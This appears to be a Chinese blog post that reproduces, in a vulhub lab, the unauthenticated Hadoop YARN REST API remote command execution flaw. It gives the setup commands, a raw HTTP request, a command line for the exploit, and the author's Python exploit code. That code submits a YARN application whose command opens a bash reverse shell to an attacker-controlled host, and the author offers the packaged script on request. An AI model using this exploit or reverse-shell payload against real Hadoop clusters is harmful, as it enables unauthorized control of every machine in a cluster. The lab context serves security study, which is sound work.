一、环境搭建:
进入镜像目录:
cd vulhub/hadoop/unauthorized-yarn
启动环境:
docker-compose up -d
访问8088端口
二、漏洞描述:
Hadoop作为一个分布式计算应用程序框架,种类功能繁多,各种组件安全问题会带来很大的攻击面。Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出的资源管理框架,负责资源管理和调度)
漏洞原因:
负责对资源进行同一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器
三、漏洞复现:
访问ws/v1/cluster/apps/new-application可以获取id的值:
POST /ws/v1/cluster/apps/new-application HTTP/1.1Host: 192.168.136.131:8088User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0
直接使用EXP进行反弹shell:
python3 Hadoop_EXP.py http://192.168.136.131:8088 -l 192.168.136.129 -p 7777
成功收到反弹shell:
脚本的核心代码(自写):
具体实现思路看代码注释
class Hadoop: def __init__(self): self.headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36', } def rshell(self): # 获取application-id的值 r = requests.post(result.url + '/ws/v1/cluster/apps/new-application', headers=self.headers) id = json.loads(r.text)['application-id'] # 执行命令,调用 Submit Application API 提交 data = { 'application-id': id, 'application-name': 'getshell', 'am-container-spec': { 'commands': { 'command': '/bin/bash -i >& /dev/tcp/%s/%s 0>&1' % (result.lhost, result.lport) }, }, 'application-type': 'YARN', } rr = requests.post(result.url + '/ws/v1/cluster/apps', headers=self.headers, json=data) print("[+] 执行完成!") def run(self): print(f"[*] 请先在你的vps:{result.lhost} 监听:{result.lport} 端口,等待shell回连!") self.rshell()
脚本已经打包好了,需要的后台留言:Hadoop exp,链接有效期为7天,请注意保存,请仅用于学习研究!
各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935
备注:公众号+师傅们的id吧
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
注意:脚本仅作为学习和讨论使用,禁止利用其进行任何违法行为,与作者无关!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!
点个赞和在看吧,欢迎转发!